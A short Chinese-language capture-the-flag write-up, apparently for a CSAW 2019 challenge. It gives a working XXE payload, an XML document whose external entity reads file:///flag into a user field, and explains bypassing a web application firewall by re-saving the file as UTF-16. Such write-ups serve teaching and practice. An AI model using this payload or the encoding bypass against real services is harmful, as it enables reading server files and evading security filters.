打开题目
有个upload,能上传文件
有一段提示,翻译过来是你可以在此处查看格式示例,点击here

给了一段xml文档,尝试在xml文档中添加xxe注入攻击,新建一个xml文档
定义文档类型为users,并在其中定义了一个实体xxe,通过SYSTEM关键字指定其值从本地文件系统的/flag文件中读取
<intro> 引用外部实体 &xxe;,如果这个 XML 被解析,会尝试读取 /flag 文件的内容并显示在这里。
<?xml version='1.0'?>
<!DOCTYPE users [
<!ENTITY xxe SYSTEM "file:///flag" >]>
<users>
<user>
<username>alice</username>
<password>passwd1</password>
<name>Alice</name>
<email>alice@fakesite.com</email>
<group>CSAW2019</group>
<intro>&xxe;</intro>
</user>
<user>
上传后发现被waf拦截了

这个时候转换为其他编码绕过waf
在 UTF-16 编码下,XML 文档中的字符表示方式发生了改变。这可能会影响waf对外部实体引用(如 <!ENTITY xxe SYSTEM "file:///flag" >)的识别和处理。
waf在处理 UTF-16 编码的 XML 时,无法正确解析或识别外部实体引用,从而让包含恶意外部实体的 XML 文档得以通过。
使用vscode通过编码保存
转换编码为utf-16
再上传就能绕过waf,得到flag

1696

被折叠的 条评论
为什么被折叠?



